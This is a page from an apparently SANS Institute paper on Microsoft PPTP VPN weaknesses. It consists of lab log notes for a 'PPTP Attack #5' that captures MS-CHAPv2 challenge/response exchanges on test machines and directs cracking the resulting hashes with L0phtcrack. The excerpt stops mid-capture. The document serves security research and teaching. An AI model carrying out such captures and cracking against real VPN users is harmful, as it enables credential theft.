Microsoft pptp vpn vulnerabilities Exploits in Action

© SANS Institute 2000 - 200
                                                5
, Author retains full rights.
 
 
 
 
 
 
 
 
 
 
 
 
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 
 
© SANS Institute 2000 - 200
5                                                                                                                 
Author retains full rights.
52
Then use L0phtcrack to crack these has as per directions.
Detailed Lab Notes:
PPTP Attack #5:
Laboratory Log notes:
192.168.50.11 <- 10.0.0.2 CHAP Challenge
Using MS-CHAP v2
192.168.50.11 <- 10.0.0.2 CHAP Responce
10.0.0.2 <- 192.168.50.11 CHAP Responce
V2 Peer Challenge: F30FDC253F22FE9EE9DC44DBD0A0A4FA
V2 Server Challenge: 3E98009E35CD8D34AC9546BBD3646AED
V2 Name: TestBox8User (12)
10.0.0.2 <- 192.168.50.11 CHAP Responce
10.0.0.2 <- 192.168.50.11 CHAP Responce
TestBox8User (Server 10.0.0.2 Client 
192.168.50.11):0:6EC1D432367502CB:00000000000000000000000000000000
0000000000000000:7B116DC839ADDF987DA0BE02CF854D4A69DB94B7847
FAF35
pptpattack5 (anger+spoof) winnt4wrk sp6
192.168.50.102 <- 10.0.0.2 CHAP Challenge
Using MS-CHAP v2
192.168.50.102 <- 10.0.0.2 CHAP Responce
10.0.0.2 <- 192.168.50.102 CHAP Responce
V2 Peer Challenge: 98E87318FB53A5A8512B11F3EBD19D6C
V2 Server Challenge: 1830E0A40680B2C5ABE1733AA753CCD8
V2 Name: User (13)
VIRTUDOMUser (Server 10.0.0.2 Client 
192.168.50.102):0:F0A50B95340106E1:00000000000000000000000000000000
0000000000000000:4C6992EC3E09D2A6DE53D94A4810FE638F7168D7AAE
B41C6
pptpattack5 (anger+spoof) winxppro (all updates as of 6-29-02)
192.168.50.107 <- 10.0.0.2 CHAP Challenge
Using MS-CHAP v2
192.168.50.107 <- 10.0.0.2 CHAP Responce
10.0.0.2 <- 192.168.50.107 CHAP Responce
V2 Peer Challenge: B0B1976AB4082B3A31DC8D33DE5E5C0A
0

---